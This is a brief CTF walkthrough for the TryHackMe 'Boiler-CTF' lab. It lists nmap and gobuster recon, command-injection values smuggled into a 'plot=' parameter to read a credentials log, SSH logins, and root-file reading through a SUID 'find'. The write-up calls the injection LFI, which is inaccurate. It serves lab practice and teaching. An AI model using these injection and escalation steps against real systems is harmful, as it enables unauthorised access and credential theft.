TRYHACKME: BOILER-CTF

Add IP to hosts:

nano /etc/hosts

Recon:

Nmap:

nmap -sC -sV -vv -p- [Machine_IP] -T 4

Discovered Ports : 21 – FTP
80 – http
10000 – Webmin
55007 – SSH

OS : Linux

Gobuster:

gobuster dir -u [Machine_IP] -w [WORDLIST_PATH]

Directories Found:

/manual
/joomla

Gobuster:

gobuster dir -u [Machine_IP]/joomla -w [WORDLIST_PATH]

Directories Found:

Multiple directories found but the directory that interests is :

/administrator
/_files
/_test

Go to http://[MACHINE_IP]/joomla/_test:

On the left select OS, you'll find an LFI entry point **"plot="**

"plot=;ls -la" will list under the **'select a host' drop down**

"plot=;cat log.txt" will open the **log.txt** file which will give **ssh username and password**

ssh basterd@[MACHINE_IP] -p 55007:

For a stable shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
cat backup.sh

Here, we'll find user and password for the user stoner

ssh stoner@[MACHINE_IP] -p 55007:

cat .secret

THATS THE FIRST FLAG

sudo -l --- doesn’t really do anything

Let’s find **SUID** executables:

$ find / -user root -perm -4000 -executable -type f 2>/dev/null

“find” is working let's get the root.txt

$ find /root -exec cat /root/root.txt \;
WE GOT THE FINAL FLAG!